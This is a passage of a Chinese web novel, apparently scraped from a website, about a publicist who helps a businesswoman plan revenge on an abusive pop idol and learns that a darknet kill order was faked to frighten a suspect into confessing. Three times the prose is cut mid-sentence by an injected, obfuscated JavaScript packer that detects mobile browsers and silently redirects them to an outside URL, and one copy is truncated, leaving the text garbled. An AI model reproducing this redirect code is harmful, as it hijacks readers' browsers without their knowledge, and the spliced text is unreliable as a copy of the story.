向宁还以为他是担心自己的“暴行”被人看见,便将陈程拉到一处僻静地方,催促道:“这没人,你可以动手了。” 陈程欲哭无泪,已然被她堵在死角,想跑也跑不脱,只得不情不愿地打了她几拳。向宁还嫌不够重,又指导他扇了几巴掌,终于罢休。 陈程经此一事,已不敢再跟这位怪人打交道,马不停蹄地跑了。 向宁扯断自己的头绳,将发尾乱搓一气,又拿出小镜子,确认了脸上的红痕足够明显,这才回房。 向晚蘅来得早些,已经在房间里等了,谁知门一开,就看见小姑娘涕泗横流,俨然是受了欺负的样子。 见此情形,向晚蘅又急又气,忙问她:“这是谁干的?” 向宁一边抹泪一边摇头,死活就是不说。向晚蘅反复追问几遍,她才委屈巴巴道:“向阿姨,我真的不能说。我知道,您是想问出罪魁祸首来,替我出一口气。可是我以后还要在这家福利院生活很久,要是得罪了那些人,等您一走,我就更没有好日子过了……” 说完这一长串台词,连向宁自己也有些惊讶,她的演技竟然可以在一夜之间进步得如此之快,连奖杯无数的向晚蘅都没有看出破绽。 又或者,向晚蘅只是关心则乱吧。 “我不会把你一个人扔在这的。”她重新牵起向宁的手,“走,咱们回家。” 79. 糊涂账 “我的故事也讲完了。” 成对的玻璃酒瓶早已被倒空,歪着身子伏在飘窗边沿,无意与旁边二人靠窗对坐的姿势相映相衬。 向宁扭过头看向窗外,太阳将落未落,算算时间,他们已经聊了几个小时。 “我不会恨你的。”她知道枕安想问什么,“我甚至连祝高远也不会恨。他确实是个烂人,但归根结底,他并没有对我造成任何实质性的伤害,反而阴差阳错地帮我抓住了改变命运的机会。这种坏心办好事的角色,如果放在电影里,不也是一种颇具黑色幽默的丑角吗?” 看客从不会真情实感地憎恶丑角,只有同一部电影里的角色才会。而她的情况又很特殊,虽然误打误撞参演其中,却直到很多年后才知道这部作品的存在。纵然剧情再如何以她为中心展开,她也做不到跨越时空的界限去“入戏”。 枕安对上她平静的目光,沉默良久才出声:“你……你真的这么想吗?” 向宁轻轻点了点头:“你不欠我什么,真的。” 枕安却垂眸不语。 任谁也看得出来,他被这种错位的负罪感裹挟了太久,不是这么容易就能走出来的。 抑或他从十八岁的那次大难不死开始,就在不知不觉中,把新生的所有砖瓦都砌在了那块名为愧疚的基石上,如今基石骤然崩塌,他的生活又该何去何从呢? 眼看枕安仍未打开心结,向宁思忖片刻,忽又改了口:“我不恨你,不代表我不生你的气。” 这分明是一句指责,却反而让枕安紧绷的神经放松了一刹,连忙追问原因。 向宁肃然正色:“首先,咱们第一次见面那天,你之所以答应帮况星宸洗白抄袭争议,并不是因为我的谈判技巧和工作能力足够出众,而是因为你想‘补偿’我,对不对?” 枕安很小幅度地点了下头,眼里却满是疑惑,大约是没想明白,这件事为什么会惹她生气,更不明白她怎么忽然把话题重心移到了十万八千里之外,一件不相干的小事上面。 向宁随即给出答案:“这是对我工作能力的否定和侮辱。我要的是自己努力拼出来的成功,不是别人施舍来的成功。” 枕安慌忙解释:“我绝对没有那个意思,我——” “不许反驳。”向宁打断道,“从我自己的感受出发,在这件事上,我生你的气就是合理的。” 枕安张了张口,似是被她俨乎其然的语气唬住了,果然没再解释什么。 向宁继续加码:“还有你帮着祝璋骗我的事,也得狠狠记一笔账。” 枕安闻言更觉冤枉:“我什么时候帮她骗你了?” “就是她找我帮忙,安排你在我家暂住的那天。”向宁也是后知后觉才反应过来,“她根本就是瞎编了一个借口,好用一笔远超市场价的‘房租’来补偿我。” 枕安辩无可辩,在这件事上,他确实配合祝璋撒了个小谎。 “我还有别的地方让你生气吗?”他问。 向宁斜靠飘窗,撑着脑袋想了想,忽然抬眼对上枕安的双目,继而向前挪了挪,倾身凑近他道:“那要取决于你怎么回答我接下来的问题了。” 枕安不免又有些紧张:“什么问题?” 向宁安静了几秒,而后轻声开口:“从咱们真正成为朋友以来,你对我的那些好,都只是出于愧疚吗?” “我……”枕安下意识回避她的目光,“我不知道。我脑子很乱,很多事情都还没有想清楚。” “又是一个让人生气的答案。”向宁语带调侃,“现在,你已经集齐三件惹我生气的事了。” 语毕,她起身要走,却被枕安拉住手腕。 “你要去哪?” “去找祝璋。”向宁从身旁的矮柜里取出一个方盒,冲他晃了晃,“和你一样,她也不欠我什么。这根金条我收着不安心,还是尽快还给她比较好。” 枕安的手指忽而收紧了些,愈发清晰地感受到她的脉搏在他掌心跳动。他坐在飘窗边沿抬头看着她,静等她下次开口,对他发出逐客令。 向宁只当看不懂他的眼神,话锋一转嘱咐道:“对了,你最好尽快给祝璋打电话通个气。我可不希望一会去公司找她的时候,被前台拦下来核查有没有预约。” 枕安见她不肯直言,索性自己捅破窗户纸:“你把‘房租’退回去,是要赶我走吗?” “我可没这么说。”向宁用方盒一角拨了拨他垂在额前的头发,“你又不缺钱,从今以后,你的房租就由你自己来付。至于以前的账嘛……那是另一种算法。” 枕安又捉住她肆意作乱的手,刨根问底道:“怎么算?” “这就要靠你自己的悟性了。”向宁一本正经道,“等你成功让我消了气,咱们之前的糊涂账就算一笔勾销。” 既然生死之疚难以释怀,不妨试着“偷换概念”,大事化小。 就用这段思考和尝试的时间作为过渡期,帮他慢慢放下那份沉重的负罪感吧。 …… 入夜,呈业集团。 祝璋收到枕安的消息后,临时取消了一个饭局,留在公司静待向宁来访。 保安、前台、引路员同时接到任务,保证这位贵客一路畅通,乘专梯直达COO办公室。 向宁刚落座,祝璋便将一个黑丝绒小方盒推到向她面前。 “以后带上这个,不用事先打招呼,也能直接来我办公室了。” 盒子里躺着一枚钻石胸针,白鹤颈侧一点朱痕,正是她曾经调侃过的“尚方宝剑”。 向宁从包里取出金条盒子,顺带将胸针盒一起推了回去。 “我是来还东西的,没有再收你一份礼的道理。” 祝璋伸手止住她的动作:“这礼也不是让你白收的。” 向宁挑眉:“怎么说?” “其实就算你今天不来找我,我原本也打算抽时间去找你一趟。”祝璋顿了顿,极少见地放下了身段,“有件事,想请你帮忙。” 见向宁露出半信半疑的神情,她又补充道:“这件麻烦事,也许只有你能帮我解决。” 向宁猜测:“和枕安有关?” “不。”祝璋摇头,“他的事就交给他……或者你们自己解决吧,我是懒得管了,也插不上手。” 向宁又猜:“那是和晓夜有关?” 祝璋反问:“她又遇到麻烦了?” 向宁一怔:“据我所知,应该没有。” “喔。”祝璋轻咳一声,回归正题,“你应该能猜到的,除了你的两个室友,咱们共同认识的人并不多。” 向宁思绪一转,不太确定地问:“不会跟况星宸有关吧?” 祝璋向上抬了抬唇角,便是给出肯定答复的意思了。 向宁扯出一抹苦笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129587|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝总还不知道吧,我已经提交辞呈,马上就要从星桥娱乐离职了。” 祝璋却道:“听说了。正因为你要离职,我才会来找你帮这个忙。” 向宁在脑内理了理逻辑,很快反应过来:“帮你的忙,就等于背刺星桥娱乐,背刺况星宸?” “没错。” “可是,为什么?”向宁实在困惑,“他不是你的男……呃,‘假男朋友’吗?我以为你们是利益共同体。” 祝璋失笑:“你觉得我为什么要找他这样一个‘假男朋友’?” 向宁抿了抿唇,一时不好开这个口。 祝璋放松地靠在椅背上:“没事,大胆说,我没那么容易被冒犯到。” 向宁迟疑道:“不是为了掩盖你真实的取向,糊弄你父亲吗?” 祝璋哂然:“如果只是这样,我大可在自己的圈子里找个靠谱的合作对象,更让祝高远放心,也更好掌控。没必要从娱乐圈里选人,更何况,还是那样一个愚蠢放浪,智商撑不起野心的脏男人。” “你对他的了解还真全面。”向宁没忍住笑出了声,“看来杨晨叶还是很尽职尽责的。” “光了解全面有什么用啊?”祝璋自嘲似地笑了一下,“之前我几次出招,不都让你兵来将挡,水来土掩了吗?” “啊?”向宁讶然,“我怎么不记得,咱们还过过招?” 祝璋长叹一声,一一为她列举。 “第一次,我让小杨引导他抄袭了枕安的作品,再特意等到演唱会当日引爆舆论,紧接着安排官媒在采访时问几个辛辣的问题,本想把他钉死在‘抄袭狗’的耻辱柱上,没想到枕安中途反水,跟你们站到一边,帮他把这事圆过去了。” “第二次,我带他买了一套高定西装。本想利用他的虚荣心,让他走红毯前临阵换衣,得罪原定的赞助商,失去那个代言机会。没想到,他又被你连唬带骗地吓老实了。” “第三次,他参加跨年晚会,原定假唱的节目被我用一笔赞助费改成了真唱,提词器也不许他用,而且临上台前才通知他。本想把他的心态吓崩,害他在直播舞台上出丑。千算万算,没算到你们还能把锅甩到耳返头上。反应够快的,又让我白费了一次心思。” 听到这里,向宁曾经产生过的许多疑问都有了解答:“原来那些‘巧合’真的是你在背后操盘?” 祝璋深深一叹,不由感慨:“之前我总在想,如果你一直在他身边保驾护航,我是不是就永远都无法把他踩进舆论的谷底了?” “我没有那么万能。”向宁诚恳道,“说实话,你这几招都有点不痛不痒,就算我不帮他洗白,也不会对他的星途产生根本性影响。最多被网友嘲一阵,也就过去了。” “是啊。谈生意我擅长,玩舆论就不是我的强项了。”祝璋与她对视,“所以,我才需要你这个强劲的帮手。” 向宁往前挪了挪椅子,问道:“我能知道你为什么要毁了他吗?事先声明,我没有想劝你收手的意思,只是单纯的好奇。” 祝璋也倾身向前靠近几分,揶揄道:“你今天已经听枕安讲了很多故事,还有精力继续听我讲吗?” 向宁抬手看了看表:“你的故事很长吗?” “不长。”祝璋轻声道,“甚至不能算是一个故事。” 是一团打不开的心结。 是害她染上吸烟恶习的病毒。 80. 合作 “我跟初恋是和平分手的。”祝璋停顿片刻,略过了许多回忆,继续说,“她母亲去世后,她爸很快就二婚了,嫌她留在身边碍眼,就送她去国外读书了。” 向宁心念一动,忽然联想到:况星宸也在国外念过书。 祝璋没有给她留出过多的思考时间,直言道:“没过几年,我就收到了她的死讯。” 向宁深深吸了口气,不由想起麦秋有句话说得没错——豪门八卦,总是动不动就闹出人命来。 “是自杀。”祝璋并无太多情绪波动,亦或是早就过了痛苦的时期,只能麻木地接受这个事实,“她去世三天后,我才收到她发的定时邮件。” “她说了什么?” “很多,很多绝望。”祝璋的声音渐渐低了下去,“至于最后刺激她选择结束生命的,是那年刚参加完选秀节目,出道即爆火的一个男艺人。” “况星宸?”虽是问句,向宁心里却已经有了肯定的答案,“他……在国外上学的时候,伤害过你的初恋?” 祝璋点点头:“起初是单方面的性骚扰,后来渐渐演变成了拉帮结派的霸凌。她给学校写投诉信,邮件石沉大海。她去警局报案,警察和稀泥。她退学,搬家,找心理医生,好不容易才慢慢走出来,可是某天一打开手机,就看到况星宸被包装成完美偶像的样子,光鲜亮丽,接受万众瞩目。” “她给你发的那封邮件里,有没有附带相关的证据?”问题出口,向宁忽又察觉不妥,忙解释道,“我不是在质疑这些控诉的真实性,只是如果咱们手上有证据,接下来的舆论战会更好打。” “咱们。”祝璋听到她说出这个词,不由目露欣慰,“看来,你已经答应帮我这个忙了?” 向宁颔首道:“我没有理由拒绝。” 祝璋低下头道了声谢,紧接着却说:“没有证据。她给我写那封邮件,不是为了请我帮她报复谁,只是想找一个倾诉的出口。但我过不去这个坎,即便不是曾经的恋人,只是朋友受到了这样的伤害,我也不可能让罪魁祸首好过。” 这也是意料之内的结果,向宁并未气馁,又问起:“你有找况星宸试探过吗?” “没有。”祝璋闭上双眼,用力揉了揉太阳穴,“看到他就烦,维持不住好脸色,所以平常都尽量少接触。” 向宁忍不住问:“那你们是怎么谈上‘恋爱’的?” 祝璋不屑地嗤了一声:“工作场合打过照面,我多看他两眼,他当天晚上就来自荐枕席了。我嫌恶心,原本没打算搭理他,谁知道这家伙还挺执着,三番两次请中间人牵线搭桥,我索性就给他一个机会呗。有‘男女朋友’这层关系在,我想报复他也更方便。” “明白了。”向宁拿起胸针盒子,语气忽有点职业病发作的感觉,“等我正式办完离职,尽快给你出一版方案。” “不着急,慢慢来。”祝璋从办公桌抽屉里取出一个小小的透明密封袋,递到向宁面前,“这个小员工挺有意思的,让她继续做你的助理吧,我发工资。” 向宁定睛一看,那袋子里装着一张相机存储卡。 “麦秋真来投奔你了?”她不免有几分欣喜,“这小孩,动作够快的呀。” 祝璋意见不同:“是你的面子大。” 二人相视一笑,双双拎包起身,乘专梯下楼。 小屏幕上的数字减一再减一,速度实在太慢。祝璋似是忽然想起了什么,脱口便问:“听说你最近在忙蒋元磊的案子?” 向宁摇头:“接下来我应该帮不上什么忙,全靠警方和检方了。” 祝璋轻轻一叹:“你别怪我多嘴——” 向宁打断道:“你是不是想说,这个案子的情况不太乐观?” 祝璋说得隐晦:“我找系统内的朋友打听过,主流意见还是实质证据不足,还有一些取证程序是否合规的争议。” 向宁惊讶地看她一眼:“你工作那么忙,还顾得上关心这事?” 祝璋用一个意味深长的眼神回应她:“某人看不得你天天为这事焦虑,吃不好也睡不好,非要我去托关系打听情况。真服了,算我上辈子欠他的。” 向宁当然能猜到这个“某人”是谁,然而一时却没了言语,只垂眸回了个“哦”。 祝璋也没有多说什么,随即回归正题道:“其实只要能让蒋元磊主动认罪,剩下的问题就都不是问题了。” 向宁听出了她话中暗示,忙问:“祝总有何高见?” “算不上高见,就是在生意场上听过几个叔伯的故事。当然,他们是经济犯罪,不是性犯罪,但道理都是相同的。” 电梯已经到了一层,祝璋却没打算出去。向宁会意,便去按下关门键,恢复了这片小空间的私密性。 “想让这种人主动认罪,甚至自首,就只有一个办法——”祝璋压低声音,“让他们意识到,或者误以为只有乖乖坐牢,才能保住性命。这种人可以不在乎任何事,唯独对他那条贱命爱得深沉。” 向宁很快领悟:“谢谢祝总提点。” 就在这时,她突然接到了简晓夜的电话。 对面情绪激动,还带着点“幸灾乐祸”的味道,开口便问她有没有看到热搜。 向宁不解其意,取出另一个手机翻了翻微博,立马睁大双眼看向祝璋。 “怎么了?”祝璋好奇道,“是谁出事了吗?” “没出事。”向宁刚否认完,又修改措辞道,“还没出事。只是……好像有人跟咱们想到一块去了。” 热榜顶端,#蒋元磊遭死亡威胁#的词条十分吸睛,几张据称是从暗网流出的追杀令截图已然广泛传播,被网友戏称为“杀了么”订单。 更重要的是,从截图来看,已经有不少匿名用户留言接单了。 随着这件事的热度直线走高,一小时后,网警的官方回应也登上热搜,证实该网站确实存在,但其服务器位于境外,不在我国司法管辖范围内。这下更如往油锅里泼了一碗水,越来越多的人都被炸出来看热闹了。 「这波追杀令属实是替天行道了,搞快点搞快点!」 「楼上没事吧?蒋元磊就算有罪也罪不至死,更何况现在他还只是嫌疑人,没定罪呢,网络大法官能不能消停点?」 「某些大尾巴狼这时候装什么理中客?有本事翻进暗网去,找到幕后发追杀令的人,跟ta讲道理去啊!」 「有什么难找的?用脚后跟想想都知道,这事跟向晚蘅脱不了干系,说不定蒋昭恒和向宁也参与了。」35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136337|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 翻到这条评论,简晓夜实在气不过,当即用小号回复道:「蒋昭恒可是律师,小心他告你诽谤!」 向宁回家听了这事不由失笑:“真稀奇,你还维护上蒋昭恒了。” “呸呸呸,谁维护他了!”简晓夜蹙眉瞪她一眼,“谁让那人信口开河,连你一起污蔑。蒋昭恒要是真能告他诽谤,也算为你出一口恶气了!” 咚、咚、咚。 忽然响起的三下敲门声,只听节奏就知道是谁来了。 向宁打开房门:“说曹操,曹操到啊。” 蒋昭恒无奈:“又说我什么坏话呢?” 向宁不答反问:“你来我家做什么?” “躲人。”蒋昭恒调出他家门口的监控画面,把手机递给向宁。 “这谁啊?”向宁辨认不出,玩笑道,“挺漂亮嘛,不会是你在外面欠下的感情债吧?” 蒋昭恒咬牙切齿:“是蒋元磊欠的感情债。” 向宁闻言,立时变得严肃许多,又仔细看了看监控画面,问道:“不会是那个私生子的妈吧?” “就是她。” “她来找你干什么?我要是她,我躲都来不及呢。” “鬼知道她怎么想的。”蒋昭恒面露不悦,“反正我不想见她。” 向宁把手机还给他:“行吧,出于人道主义精神,批准你暂时在我家避难。” 得到她的首肯,蒋昭恒反而拿乔起来:“你男朋友不介意?” 向宁轻啧一声:“哪来那么多废话?你以为谁都跟你当年一样啊,什么八竿子打不着的醋都要乱吃。” 这两人说话间,谁也没注意到简晓夜悄悄溜出客厅,跑到枕安的卧室找他去了。 枕安下午喝了许多酒,度数虽不高,却已是他承受能力的极限了,一时半会恢复不过来,现在还有些晕乎。 见到简晓夜不请自来,他的反应稍显迟钝,慢悠悠放下画笔,问道:“有事吗?” 简晓夜开门见山:“今天下午,你是不是跟宁宁吵架了?” “没有。”枕安想了想,忽又失了把握,迟疑着落下画笔,“应该,不算吵架吧……” “那你们打算什么时候和好?” “我不知道。”枕安画歪了一抹颜色,笔尖再次停滞不动,“要等她消气。” 简晓夜像是听到了什么奇闻,讶然道:“你怎么惹她生气了?” 枕安抓住难得的一点清醒:“不能说。” 简晓夜嘟囔了一句没意思,转而问起:“过几天我给宁宁办离职庆祝会,你来不来?” 枕安也不知该点头还是摇头,只道:“她愿意邀请,我就来。” 简晓夜回了句OK,就没下文了。 静默几秒,枕安见她仍然站在原地,没有要走的意思,便问:“还有别的事吗?” “啊?哦……”简晓夜轻咳一声,移开目光佯装随意道,“我就是顺便问一句,祝总来不来?” “你怎么不直接问她?” “我……” “哦,我忘了,你有点怕她。” “呃。”简晓夜抿了抿唇,只挤出一个语气词,“嗯。” 也许吧。 只是有点怕,而已。 81. 守株待兔 周六中午,向宁的离职庆祝party在一家私人会所里举办,受邀的人并不算多,只有几个关系较近的朋友和前司同事。 乔煦晗坐在吧台边,自己开了瓶啤酒,刚刚结束一场远程会议,正在骂骂咧咧地加班写文档。 唱片陈列架嵌在酒柜背面,麦秋忙于在向宁到场之前,筛选出她爱听的歌。爵士,摇滚,交响乐,各种风格通通安排上! 角落里的小圆桌上放着几本精装版“答案之书”,李甜和Rebecca挤进一张小沙发里,正在一问一答,打发时间。 “我能升职加薪吗?” “23页——请打开薛定谔的盒子。” “咱公司的食堂啥时候能改造?” “61页——睡吧,孩子,梦里什么都有。” “我好饿,向宁姐怎么还不来?” “105页——明天会更好。” 李甜合上答案之书,有气无力地往沙发背上倒去。 “向宁姐要是真的明天才来,我就要饿成干尸了。” 她话音才落,套间门便被推开,屋内几人纷纷起身准备迎接今天的主角,谁知来者依然不是向宁,而是简晓夜。 她身后跟着一队送餐机器人,脑袋上的电子屏显示着各不相同的像素表情,看着倒是憨态可掬。 简晓夜给小服务员们让开通路,对众人解释道:“宁宁遇上点突发状况,得迟些过来。她让我先来跟大家说一声,到点直接上菜,不用等她。” “什么突发状况?” 背后忽然传来一道熟悉的声音,是祝璋。 简晓夜迅速做好表情管理,回头笑答:“没事,就是家里来了个客人,她得应付应付。祝总您先进来吧,别在门口站着了。” 祝璋不动步子,问道:“她大概什么时候过来?” 简晓夜也说不准,只能弱弱猜测道:“半小时……一小时后?” “那我就不进去了。”祝璋让身后的保镖把礼物送进包厢,解释道,“今天时间不多,我还有好几个会要开。回头你跟向宁提一句,说我来过了就行。” “好。”简晓夜点点头,见祝璋即刻就要离开,忙又跟上几步叫道,“祝总留步。” 祝璋回身望她:“还有事?” 简晓夜鼓起勇气:“我的伤已经好了,想尽快回剧组,把拍摄进度赶上。” 祝璋移目看向她的左手:“确定完全没问题了吗?” 简晓夜连忙用力活动左手给她展示:“确定一定以及肯定!” 祝璋捉住她的左手,用拇指在她掌心按压片刻,轻声问:“疼吗?” 简晓夜呼吸停滞一瞬:“不、不疼。” 祝璋狐疑:“不疼你结巴什么?” 简晓夜躲开她的目光:“我、我紧张。” 祝璋松了力气,简晓夜连忙收回手,动作快得就像被热咖啡烫到的条件反射。 “知道了。”祝璋跟她拉开些微距离,“我会让人帮你安排的。” 简晓夜道了声谢,又在原地目送她许久。等她回到包厢,一大桌菜已经上齐了。 “聊什么呢?这么热闹。”她选在李甜身旁坐下,“带我一起聊呗。” “在聊刚才那位祝总。”李甜是全公司知名的小喇叭,“我听经纪部的同事说,况星宸攀上了一个富婆女友,好像就是她。” 简晓夜闻言一怔:“不会吧……她怎么可能看得上那种货色?” 李甜摇头一叹:“嗐,咱们是圈内人,都明白况星宸是个渣。可人家混的是商业圈,又不是娱乐圈,哪知道这种‘大明星’的真面目啊?” 简晓夜陷入沉默,习惯性扭头去看向宁,却忽然意识到她此刻不在自己身边。 唉,也不知道那位不速之客应付完了没有。 时间回到今早,三人准备出发时,一开门就看到一个明艳漂亮,却略显憔悴的年轻女人倚墙而站,似乎正在“守株待兔”。 彼时不需多言,三人立刻达成了无声的共识——眼前应该就是蒋昭恒昨晚躲着不见的那位了,名字好像叫……魏语珂? 不等她开口,向宁便对左右两人说:“你们先过去吧,别误了饭点。” 枕安不放心道:“万一她是来报复你的怎么办?” 他刻意不遮不掩,甚至稍抬声量,盯着魏语珂说出了这句话。 “我不会的。”魏语珂急切自辩,“我只是有些话想说。蒋昭——蒋律师躲着不见我,我实在没办法,只能来找你了。” 向宁沉默片刻,还是同意了放她进屋详谈。谁知刚关上房门,魏语珂就扑通一声跪了下来。 “你这是干什么?”向宁不悦道,“要是想道德绑架,你就省省吧,我这人压根没什么道德。” “对不起……我、我只是想求你帮帮我。”魏语珂哭着说道,“可不可以帮我跟向晚蘅,向老师求求情,请她高抬贵手,放我一马?” 这话倒让向宁听着好笑:“她原本也没打算把你怎么着啊。这么多年了,她有动过你和你儿子一根手指头吗?” 魏语珂一边擦泪一边摇头:“以前是以前,可是现在——” “您老人家能不能先起来再说话?”向宁没好气道,“虽然论年龄,你没比我大几岁,可是要论起辈分来,我还真受不起您这一跪,折寿。” 这话一出,魏语珂哭得更凶了,向宁被吵得头疼,索性不去理她,谁知刚退开几步,便有人从外面匆匆拍响房门。 向宁开门一看,不由诧异道:“蒋昭恒?你怎么来了?” “是我叫他来的。”枕安慢一步从电梯走出,“要不是他一味躲清闲,麻烦也不会找上你。” 蒋昭恒径直走进房门,厉声道:“魏语珂,你到底想干什么!?” 魏语珂抬头看向他,哽咽着柔声道:“我只是想要一条活路……” 蒋昭恒冷笑一声:“谁不给你活路了?” 魏语珂楚楚可怜:“暗网的追杀令,不是你们发的吗?向老师常年在国外行商,想必跟黑白各方势力也不少打交道吧……” 听到这里,向宁和枕安不约而同地看向蒋昭恒。说实话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140592|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们也很好奇这个问题的答案。 但蒋昭恒怎么可能正面回答? “不论是谁发的,那道追杀令又没有把你列为目标,你找我们犯什么被迫害妄想症?” 魏语珂声音发颤:“可是,这几天已经有人对我们孤儿寡母下手了。” “什么?” “真的,不信你看!”魏语珂打开手机相册,颤抖着翻出一张张照片,“我家门上被泼满了红漆,楼道里也写满了威胁恐吓的大字。” 蒋昭恒接过手机看了看,严肃道:“这跟我们没有关系。” 向宁也凑过来翻了几张照片,随即笃定道:“这是地下高利贷公司追债的常用手段,你与其来质问我们,还不如仔细算算蒋元磊欠了多少钱,赶紧帮他还上。” 魏语珂将身子一歪,有气无力地倚墙而坐:“如果是追债,为什么会追到我头上呢?难道不是应该找家属——” 话说半截,她自己也意识到不妥,连忙告罪。 向宁把手机还给她,猜测道:“应该是蒋元磊借钱的时候,把你的信息登记为担保人了。” 魏语珂气得直咬牙:“他、他这不是害人吗!?这么多钱,我根本还不上啊。” 向宁才不信她哭穷:“你们俩恩爱了这么久,蒋元磊就没给你买过名车、珠宝、奢侈品?” 魏语珂拧眉摇头:“早些年他还有些戏约,能挣些钱。可是这几年,就只能吃老本了。” 蒋昭恒听得心烦,打断道:“魏女士,麻烦别在我面前诉苦。你们老两口的家务事,我们这些做小辈的没兴趣掺和。” “蒋律……” “你是想自己从这道门走出去,还是让我把你拖出去?” 魏语珂见他态度强硬,只得扶着膝盖慢慢起身,迈着小步挪到门边,临走时还不忘回头追问一句:“你们真的不会对我们母子下手?” 蒋昭恒不耐烦道:“现在不会。可你以后要是再跑来骚扰我们,那道追杀令上也许就会多一个目标了。” 魏语珂哪经得住这般惊吓,忙不迭告辞跑路了。 向宁给枕安使个眼色,用无声的口型说道:“你先走。” 枕安看看蒋昭恒,又看看她,低声道:“我在楼下等你,一起走。” 向宁应了一声,顺便把挎包塞给他,吩咐道:“那你帮我拎着。” 家门一关,屋内又只剩下两人。 向宁单刀直入:“那个暗网——” “没有法律风险,不会真有人去杀他,只是为了逼他认罪,引导他进监狱‘自保’而已。”蒋昭恒对最关键的问题避而不答,但是从某种意义上来说,他也相当于默认了她的猜测。 这道追杀令,确实是他和向晚蘅在幕后主导的。 “事先没告诉你,不是不信任你。”蒋昭恒看出了她的情绪,不想她生出误会,“这是我妈的意思,她不希望你继续被牵扯进这件事里。” “为什么?” “因为你已经报答她足够多了。从今以后,就把时间和精力用在你真正想做的事上吧。” 82. 消气进度条 网约车里的空气出奇清新,车窗开着一道缝隙,微风徐徐钻进来,带着些许凉意。 向宁和枕安坐在后座两端,中间仿佛隔着一道楚河汉界。 车子开出不久,司机习惯性没话找话道:“您二位是拼车?” “不是。”后座传来两道重叠的声音,却各自带着不同的情绪。 “喔,一起的啊。”司机的语气里掺进一丝调侃,“怎么看着跟陌生人似的,闹别扭了?” 向宁抢先一步接话道:“没有,我们离婚冷静期。” 枕安别开脸咳嗽两声,没有否认。 “啊?”司机看了眼后视镜,诧异道,“你们这么年轻就结婚了?” 向宁继续胡扯:“年轻才容易冲动嘛,刚认识就闪婚,现在知道后悔了。” 或许八卦是人类的天性,又或许网约车司机的日常工作实在过于枯燥,难得遇上一片“瓜田”,自然得抓住机会解解渴。手握方向盘,耳听八方事,他们的车厢就是移动的都市情报站。 “你们结婚多久了?” “半年吧。” “现在为啥要离呀?” 向宁轻踢枕安脚踝,斜睨他道:“说话呀,哑巴了?” 枕安被迫登上戏台,来不及思考“前夫哥”的人物小传,只能本色出演。 “因为我总惹她生气。” 司机又问向宁:“是这样吗?” “避重就轻。”向宁抱臂叹了口气,“明明是因为他不爱我。” “不是不爱。”枕安下意识反驳道,“只是……我也不知道怎么才算爱。” 司机打起圆场来:“你看你们还聊上哲学问题了,啥爱不爱的,亚里士多德也没研究明白这玩意。要不我给你们放首歌听吧,《法海你不懂爱》,怎么样?” 向宁已经完全进入角色,忿忿嘟囔一句:“法海都比他懂爱。” 枕安也不甘示弱地低声回敬:“那要看是哪个改编版本的法海了。” 司机一时没忍住,“噗嗤”笑出了声,随即赶紧收敛表情,将话题拉回安全地带:“你们这是办离婚手续去啊?” 向宁抢答:“不是,吃散伙饭去。” 司机闻言,瞥向导航提示的路线终点——玫瑰罗曼史会所,便忍不住调侃道:“你们这散伙饭吃得还挺有情调,谁选的地方啊?” “我选的。”枕安渐渐也代入了角色,“因为我不想离婚。” 司机品出这瓜味道有点微妙,顿时来了兴致,转而跟向宁玩笑道:“你看他还有机会吗?” 向宁把问题反抛回去:“您觉得呢?” 司机咂咂嘴,摇头道:“清官难断家务事啊。” 移动小法庭在会所门口中断审理,没有做出最后的判决。 司机意犹未尽,仿佛一部狗血言情剧刚播到半截就被下了架,结局和彩蛋统统看不见,只剩观众留在原地抓耳挠腮,两名主演倒是毫无留恋地下了车。 …… 等电梯的时候,枕安忽然用指尖轻轻扣住向宁的手腕,将她往自己身边带了带。 “今天,你有没有消一点气?”他低声问。 向宁的目光落在不断跳动的楼层数字上,语气轻飘飘的,漫不经心道:“消了百分之一吧。” 枕安指尖下探,转而牵住她的手,进一步试问:“你教教我,怎么才能让进度条走得快一点?” 叮—— 电梯门缓缓打开,向宁松开他的手,率先踏入轿厢。 “去问亚里士多德。”她转过身,目光直直地望进他的双眼,“还有,以后换一种护手霜,我喜欢茶香味的。” 枕安慢她一步踏入电梯,感应门在他身后悄然合拢。 不等他转身,向宁忽然上前半步,鞋尖堪堪抵住他的皮鞋。枕安下意识向后退去,后背撞上冰凉的电梯门,带来一阵若有似无的战栗。 “躲什么?” 向宁微微踮起脚尖,两人的距离骤然缩短,近得能感受到彼此的呼吸。 枕安朝斜上方投去目光,提醒道:“有监控。” 向宁摆出无辜的笑脸:“我又不会对你做什么出格的事,还怕监控吗?” “那你——” “我只是想告诉你。”她的指尖轻点他的喉结,继而向上游走,最后停在他微微发热的唇上,“这个也得换,我不喜欢柚子味的。” 枕安本想纠正一句:我的润唇膏是柠檬味。 然而话未出口,却在舌尖打了个转,变成了一句意味不明的:“润唇膏有必要换吗?你平时又闻不到。” 